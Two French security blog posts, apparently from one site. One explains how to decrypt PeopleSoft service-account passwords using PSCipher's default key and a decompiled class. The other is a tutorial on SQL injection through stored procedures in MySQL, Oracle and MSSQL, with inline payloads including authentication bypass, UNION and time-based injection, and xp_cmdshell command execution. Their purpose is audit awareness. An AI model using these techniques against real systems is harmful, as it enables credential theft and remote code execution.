Les forces en présence

PeopleSoft possède une architecture complexe bien qu’assez standard dans le monde applicatif. Le schéma ci-dessous résume bien les forces en présence :

On retrouve une architecture 3-tiers classique composée d’un client, d’un serveur d’application contenant plusieurs éléments et d’une base de données ORACLE

Le serveur d’application est subdivisé en 2 parties :

• Un serveur WEB permettant d’utiliser des servlet. Ce serveur repose la plupart du temps sur la technologie BEA Weblogic.

Les servlet permettent dans un cas de présenter l’application Peoplesoft au client (Portal Servlet), ensuite d’autres servlet viennent se greffer sur le serveur d’application afin d’interagir avec d’autres applications tierces.

Les servlet discutent par l’intermédiaire du protocole JOLT développé par BEA à un service TUXEDO. JOLT est une API Java permettant de s’interfacer simplement avec TUXEDO.

• TUXEDO va ensuite se charger de communiquer avec les différents éléments externes de PeopleSoft à savoir la BDD, le serveur d’authentification ou encore des applications tierces.

Par exemple l’interaction avec des applications tierces peut se faire par l’intermédiaire de l’Integration Broker. Ce dernier permet d’envoyer des messages People Soft au format XML à d’autres applications (par exemple la gestion de la paie)

Sécurité des flux PeopleSoft vers les applications tierces

Nous avons précédemment vu que TUXEDO est le moteur permettant à PeopleSoft d’interagir avec les applications tierces.

C’est le lien entre les données brutes reçues ou envoyées aux applications et le servlet de présentation de PeopleSoft.

Il est donc clair que TUXEDO possède toute les cartes en main pour visualiser les données PeopleSoft mais également pour accéder aux applications tierces ;)

En analysant de plus près, on peut voir que les messages envoyés par TUXEDO à la base de données (Format Oracle ou Net*8) et aux applications tierces (XML) ne sont pas chiffrés.

La seule sécurité mise en place est définie par un couple login/mot de passe.

Ces identifiants sont pour la plupart stockés dans un fichier nommé psappsrv.cfg se trouvant fréquemment à la racine du serveur Weblogic

Ce fichier est utilisé, pour pouvoir administrer les deux composants : TUXEDO et Processus Peoplesoft.

La capture ci-dessous montre un exemple de ce fichier contenant les 2 comptes permettant de se connecter à la base de données PSADMIN et People. Les mots de passe sont bien entendu chiffrés

Pour la partie Integration Broker, les identifiants sont stockés quant à eux dans le fichier integrationGateway.properties se trouvant dans le répertoire PSIGW/WEB-INF du serveur Weblogic

Le login utilisé ici est « broker », le mot de passe est quant à lui chiffré. Nous notons par ailleurs un mystérieux {V1.1} devant ce mot de passe.

L’objectif de se papier est de prouver que le chiffrement de ces comptes est extrêmement simple a casser.

Il est important de noter que ces comptes possèdent pour la plupart des droits extrêmement importants sur l’application PeopleSoft :

1. PSADMIN a des droits complets sur la base de données PeopleSoft et sur l’application
2. People possède des droits de lecture sur certaines tables de la base de données PeopleSoft comme par exemple PSOPRDEFN qui contient les mots de passe utilisateurs
3. Broker possède des droits importants sur les applications tierces et l’application PeopleSoft (il est souvent compte administrateur sur l’application en entreprise)

It’s not a vuln, it’s a feature !

Maintenant que l’on a bien compris le fonctionnement des différentes couches PeopleSoft et les comptes associés à l’envoi de messages aux applications tierces, nous allons nous amuser à déchiffrer ces mots de passe.

Vous allez me dire, dans un premier temps, comment on obtient les fichiers psappsrv.cfg et integrationGateway.properties sans accès à l’application ?

• Depuis le NET, je vous laisse faire un peu de Google Hack

Depuis la découverte et surtout depuis que j’ai prévenu Oracle, le nombre d’occurrence sur le NET de ces fichiers à diminué

• En interne, je vous laisse aller voir du côté du serveur Weblogic ou du serveur FTP, ces fichiers sont souvent laissés en pâture par les admin sys !

Une fois en possession de ces fichiers, il suffit de faire quelques recherches pour comprendre le fonctionnement du chiffrement de mot de passe made in PeopleSoft

Prenons l’exemple du compte broker se trouvant dans le fichier integrationGateway.properties

Après recherche et visualisation de la page suivante :

http://peoplesoft.wikidot.com/peopletools-encryption

On peut voir

• Que ce mot de passe est chiffré via l’application PSCipher fournie par défaut dans la suite logicielle de PeopleSoft nommée PeopleTools

• Que la chaine de caractère {V1.1}, en préfixe du mot de passe chiffré, montre que la clé de chiffrement utilisée est celle par défaut.

Clé qui est la même pour toute installation PeopleSoft (en gros il faut lancer la commande pscipher.sh –buildkey après installation de la solution et avant toute utilisation de la solution, sinon la clé est difficilement modifiable sans coupure de production)

• Que cette clé privée se trouve dans le fichier nommé psvault

• Que cette clé privée peut-être lue par tout le monde par défaut

Les fichiers pscipher.sh et psvault (clé par défaut) sont accessibles directement en téléchargeant le paquet PeopleTools depuis le site ORACLE (suffit de créer un compte utilisateur )

Un petit cat sur le fichier pscipher.sh permet de voir que ce dernier fait appel à une classe JAVA

Un cat sur le fichier pvault permet de visualiser la magnifique clé par défaut (je le rappelle c’est la même pour toute installation PeopleSoft) :

Maintenant que nous avons les bonnes informations, il suffit de décompiler la classe PSCipher.class (vu plus haut) avec l’outil CAVAJ, celle-ci est également accessible depuis le paquet PeopleTools.

Après visualisation, on remarque qu’Oracle a bien fait les choses puisqu’une magnifique méthode de déchiffrement de mot de passe est incluse dans le fichier .class. De plus, les clés de génération de la masterkey sont configurées en dur dans le fichier

Il suffit maintenant de modifier la méthode main() de cette classe et d’appeler la méthode decodePassword au lieu d’encodePassword pour pouvoir déchiffrer les mots de passe instantanément

On compile :

Et on déchiffre les pass

Conclusion

On peut voir que le chiffrement des mots de passe PeopleSoft est facilement réversible.

La faute n’est pas à remettre totalement sur ORACLE même si ces derniers fournissent tous les outils nécessaires au déchiffrement des données publiquement (via l’outil PeopleTools).  Après contact avec eux, c’est une feature largement documentée. Bon je n’ai rien trouvé à ce sujet sur le NET …

Reste néanmoins l’erreur humaine dans laquelle les admin systèmes laissent trainer par un moyen ou un autre des fichiers de configuration sous prétexte que dans ces derniers les mots de passes sont « chiffrés »

Il est également important de savoir que cette méthode ne permet pas de déchiffrer les mots de passes utilisateurs contenus dans la base PSOPRDEFN

Une autre méthode existe (non publique également J mais qui fera l’objet d’un paper en 2012) qui consiste à reverser l’outil PeopleTools DataMover en sa version UNIX (nommé psdtmtx). En effet, ce dernier inclut tous les outils permettant de déchiffrer et chiffrer les mots de passe utilisant la clé ACCESSID

Références (merci à eux !)

http://whatiserp.net/erp-comparison/sap-vs-oracle/

http://erpscan.com/wp-content/uploads/2011/08/A-crushing-blow-at-the-heart-SAP-J2EE-engine_whitepaper.pdf

http://www.learnpeoplesoft.info/viewpage.php?page_id=6

http://peoplesoft.wikidot.com/peopletools-encryption

Rappel sur les Injections SQL

L’injection SQL est une technique consistant à modifier le comportement initial d’une requête afin d’extraire des données supplémentaires ou bien quand cela est possible d’exécuter du code sur le serveur hébergeant la base de données.

Prenons l’exemple simpliste d’une vérification de mot de passe sur une page d’authentification d’un site WEB PHP:

Figure 1 : Code PHP vulnérable aux injections SQL

En envoyant la chaine de caractères suivante dans le paramètre login (méthode GET), « admin’ or ’1′=’1″ nous nous authentifions en tant qu’administrateur étant donné que nous obtenons la requête SQL suivante :   SELECT id, login, hash from db_user WHERE login=’admin’ or ’1′=’1  AND hash=’hash…’ LIMIT 1 L’intérêt de l’exploitation de ces vulnérabilités est évident : elles rapportent gros pour une recherche  parfois rapide et souvent simpliste.

Injection SQL et procédures stockées

Sous MySQL

Création : Nous allons à l’aide de l’outil en ligne de commande MySQL, créer une procédure stockée, l’appeler et enfin récupérer la valeur voulue. Tout d’abord nous créons la procédure NES, elle consiste uniquement à stocker la valeur 42 dans le premier paramètre de la procédure :  

Figure 2 : Création de la procédure stockée NES

  Nous appelons cette procédure avec le paramètre @test:

Figure 3 : Appel de la procédure stockée NES

Enfin vérifions la valeur stockée dans la variable @test :

Figure 4 : Sélection de la variable de session @test

Nous obtenons donc la valeur 42 précédemment initialisée.

Exploitation: Nous allons donc grâce au script PHP suivant, appeler la procédure stockée (précédemment créé)

Figure 5 : Script PHP faillible aux injections SQL

  L’injection SQL est évidente, il suffit uniquement d’insérer le code voulu à la suite du paramètre name_var (en GET), même pas besoin de quote !

Figure 6 : Exploitation de l’injection SQL en affichant la version de la base de données

Nous obtenons ainsi la version de MySQL utilisée  (5.0.51a) en injectant la chaine de caractères suivante : UNION SELECT @@version

Bon ici ça ne change pas grand choses par rapport aux exploitations classiques mais les cas particuliers arrivent, patience !

Sous Oracle

Création :

Tout d’abord, nous créons la procédure simple_execute  grâce à l’interface web isqlplus.

Cette procédure consiste à exécuter via l’appel de  « EXECUTE IMMEDIATE » la requête SQL passée dans la variable « user » de type VARCHAR2 envoyé en premier paramètre de la procédure.

Le résultat de l’exécution de la requête est alors stockée dans la variable de retour « res » :

Figure 7 : Création de la procédure stockée simple_execute

Nous avons maintenant créé la procédure simple_execute.   Dans la Figure 8 nous faisons appel à cette procédure :   set serveroutput on ;  permet d’activer les fonctions du paquetage dbms_output.   Afin d’appeler notre procédure simple_execute, nous avons besoin de deux variables. Nous déclarons donc la variable oparm qui contiendra la valeur de retour et la variable iparm qui contient la chaine de caractères « select 42 from dual ». Puis nous appelons la procédure simple_execute avec les paramètres précédemment déclaré. Finalement nous affichons le résultat de la requête grâce à l’appel de dbms_output.put_line.  

Figure 8 : Appel de la procédure stockée simple_execute et affichage de la réponse de la requête SQL

Tout s’est bien déroulé et nous obtenons le résultat attendu.

Exploitation :

Prenons le code PHP fictif suivant :

Figure 9 : Code PHP faillible aux injections SQL

Le code PHP consiste dans un premier temps à récupérer le paramètre « number » de la méthode GET. La variable $number est alors utilisée pour former une chaine de caractères qui sera stokée dans la variable $sql. Cette variable $sql sera alors dans un second temps préparée par la fonction oci_parse.  La chaine de caractères composée par $sql vous l’aurez compris,  est la requête sql qui sera exécutée par la fonction oci_execute.   Pour le besoin de rendu visuel de cet exemple, nous utilisons le binding entre la variable $stmt et la valeur  « res » ( « :res » dans la requête SQL) grâce à la fonction oci_bind_by_name.   L’injection SQL dans le code précédent est simpliste, il suffit uniquement d’insérer le code voulu à la suite du paramètre « number » (en GET),  toujours pas besoin de quote (Lors de nos audits cela arrive beaucoup plus fréquemment que l’on y veuille le croire) :   En effet, si nous appelons ce script avec en paramètre la valeur 42 nous obtenons la capture d’écran suivante :

Figure 10 : Affichage du résultat en envoyant la valeur 42 au paramètre number

Nous allons maintenant exploiter cette vulnérabilité en injectant la chaine de caractères suivante dans le paramètre  number  : « 42 || user »

Ceci aura pour but de concaténer la valeur 42 à l’utilisateur Oracle exécutant la requête SQL.

Figure 11 : Exploitation

Nous obtenons donc l’utilisateur Oracle par default « SCOTT » concaténé avec la valeur 42. L’exploitation est donc possible.

Sous MS SQL

Création : Une procédure stockée sous MSSQL Server peut être créée en utilisant SQL Server Management Studio. Pour cela il suffit d’exécuter la requête suivante sur la base de données à laquelle on souhaite l’affecter.

Figure 12 : Syntaxe de base de la création d’une procédure stockée MSSQL

La procédure sera ensuite appelée en utilisant la commande EXEC :

Figure 13 : Syntaxe de la requête d’exécution de la procédure stockée

Exemple : Moteur de recherche de super héros : Ce petit exemple utilise une procédure stockée afin de rechercher dans la base de données des super héros selon leur nom, leur véritable identité ou bien la ville où ils travaillent.  Cette petite application prend la forme d’un formulaire HTML, celui-ci va appeler un script ASP qui nous permettra d’exécuter la procédure stockée sur le serveur MS SQL. Nous allons donc rechercher un super héros sur la ville de New York :  

Figure 14 : Ce formulaire HTML va appeler un script ASP

Figure 15 : L’exécution de la procédure stockée et les résultats retournés

L’exécution de la procédure stockée nous retourne un résultat : Spiderman.  

Figure 16 : La requête SQL exécutée par la procédure stockée appelée ci-dessus

Exploitation :

Nous allons maintenant voir comment exploiter une application vulnérable aux injections SQL et  utilisant une procédure stockée.

Nous commençons par tenter de tronquer la requête en ajoutant des commentaires dans le premier champ :

Figure 17 : Requête tronquée après le premier paramètre

Figure 18 : Retour d’une erreur 500, la procédure ‘select_superhero’ attend un paramètre supplémentaire : @vrai_nom

Réessayons en fournissant le nom des paramètres avant de tronquer la requête avec des commentaires:

Figure 19 : En fournissant tous ses paramètres à la procédure, il n’y a plus d’erreur

Cette fois, la procédure a reçu tous ses arguments et le serveur répond donc sans erreur. L’injection a donc lieu au moment de l’appel de la procédure stockée : dans la fonction EXEC comme illustré ci-dessous :

Figure 20 : Appel de la fonction EXEC avec l’injection dans un des paramètres de la procédure stockée

NB : Lorsque c’est possible, il est plus facile d’injecter dans le dernier paramètre de la procédure stockée.

NB : Il est également possible d’obtenir l’exécution du code injecté sans passer tous les paramètres de la procédure stockée. Ceci provoquera une erreur du serveur ce qui peut être gênant dans certaines conditions d’exploitation notamment lorsque la valeur de retour est le temps de réponse du serveur. Nous allons maintenant essayer d’injecter une instruction supplémentaire dans notre EXEC. Nous injecterons un waitfor delay, cette fonction bloque l’exécution du lot d’instructions et va nous permettre de d’utiliser le temps de réponse du serveur comme valeur de retour dans le cas d’une exploitation « à l’aveugle ».  

Figure 21 : injection d’un waitfor delay de 5sec : le serveur patiente 5 secondes avant de répondre

Le serveur patiente 5 secondes avant de répondre : le waitfor delay est executé. A partir de là nous pouvons commencer l’exploitation de la vulnérabilité de la même manière qu’avec une injection SQL « classique » sur une requête dynamique.

Exemple : exécution d’un ping sur notre machine depuis le serveur en utilisant la commande « xp_cmdshell » (si la commande est activée pour l’utilisateur SQL en cours):

Figure 22 : Execution d’un ping depuis le serveur en utilisant xp_cmdshell

Figure 23 : Reception des requêtes de ping sur notre machine

Le ping est reçu par notre machine. De la même manière il est possible d’exécuter n’importe quelle commande DOS depuis l’injection SQL dans une procédure stockée sous MSSQL (avec les droits de l’utilisateur de base de données).

Arthur & Frank.

Références :

http://dev.mysql.com/doc/refman/5.0/fr/stored-procedures.html

http://download.oracle.com/docs/cd/B19306_01/appdev.102/b14251/adfns_packages.htm

http://msdn.microsoft.com/fr-fr/library/ms187926.aspx

http://fr.wikipedia.org/wiki/Injection_SQL

https://www.owasp.org/index.php/Guide_to_SQL_Injection

http://home.eng.iastate.edu/~muthu/papers/cnf05.pdf